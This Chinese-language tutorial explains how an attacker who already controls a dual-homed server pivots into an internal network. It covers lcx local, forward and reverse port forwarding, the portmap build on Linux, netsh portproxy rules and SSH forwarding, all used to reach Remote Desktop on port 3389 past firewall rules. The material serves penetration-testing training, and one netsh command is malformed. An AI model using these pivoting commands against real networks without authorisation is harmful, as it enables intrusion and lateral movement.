端口转发
Lcx的本地端口转发
环境假设
-
外网服务器拥有双网卡,既可与公网进行通信,也可以与内网服务器进行通信。
-
内网服务器不可访问公网,但可以与外网服务器的内网IP进行通信
假设我们拿下了外网服务器的账号、密码和命令行权限,想要直接访问外网服务器的3389服务。
但因为防火墙等访问控制策略,不允许公网直接访问3389端口,此时可以尝试lcx的本地转发功能将其转发到其他端口。
- 首先通过文件传输的方法将
lcx.exe
传输至外网服务器
具体传输方式 看这里
- 运行lcx,将3389端口转发到外网可以访问的8888端口
lcx.exe -tran 8888 127.0.0.1 3389
-
使用攻击机远程桌面连接外网服务器8888端口
-
数据进行本地端口转发
-
成功通过8888端口将流量转发至3389服务
Lcx的正向端口转发
假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。
此时想让攻击机能够访问内网服务器的3389端口,可以通过外网服务器来充当跳板,进行正向端口转发。
- 将访问外网服务器8888端口的流量,全部转发至内网服务器的3389端口:
lcx.exe -tran 8888 192.168.100.2 3389
- 使用攻击机远程桌面尝试连接外网服务器8888端口
- 外网服务器开始进行流量转发
- 成功访问到内网服务器远程桌面
Lcx的反向端口转发
假设这次拿下了外网服务器、内网服务器的命令行权限,并知道内网服务器账号、密码。
想要通过攻击机,远程连接内网服务器远程桌面服务。但由于内网防火墙包过滤策略,不允许外网服务器访问它。
此时可以通过反向端口转发,由内网服务器主动发起转发。
- 外网服务器对1234端口开启监听,并转发至本地8888端口
lcx.exe -listen 1234 8888
- 内网服务器开启反向连接,将本地3389端口转发至外网服务器1234端口:
lcx.exe -slave 192.168.100.1 1234 127.0.0.1 3389
-
现在使用攻击机远程桌面连接外网服务器8888端口
-
外网服务器开始转发流量
-
成功转发流量至内网服务器
Linux中的lcx
Linux版本的lcx叫做portmap
- 先将对应的c文件上传至linux服务器中
- 通过gcc进行编译后即可使用:
gcc portmap.c -o lcx
功能与windows版一样,就不重复叙述了
Netsh
前言
Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射
与LCX不同,Netsh不支持反向的端口转发。
Netsh的本地端口转发
和lcx类似,我们将外网服务器的80端口,转发到8888端口:
netsh interface portproxy add v4tov4 listenport=8888 connectport=80 connectaddress=192.168.3.140
通过以下命令可查询当前转发策略:
Netsh interface portproxy show all
可通过delete命令删除策略:
netsh interface portproxy delete v4tov4 listenport=8888
Netsh的正向端口转发
假设我们已经拿下了外网服务器的命令行权限,以及内网服务器账号、密码。
此时想让攻击机能够访问内网服务器的3389端口。可以通过外网服务器来充当跳板,进行正向端口转发。
- 在外网服务器配置端口转发:
Netshinterface portproxy add v4tov4 listenaddress=192.168.3.140 8888 connectaddress=192.168.100.2 connectport=3389
-
尝试通过外网服务器的远程桌面连接内网3389服务
-
删除策略:
Netsh interface portproxy delete v4tov4listenport=8888 listenaddress=192.168.3.140
ssh
前言
ssh也支持端口转发,但前提是需要知道对端的ssh用户名及口令。
- 通过SecureCRT等工具连接外网服务器
- 开启端口转发,尝试通过远程桌面连接本地6677端口
- 成功转发至内网服务器3389端口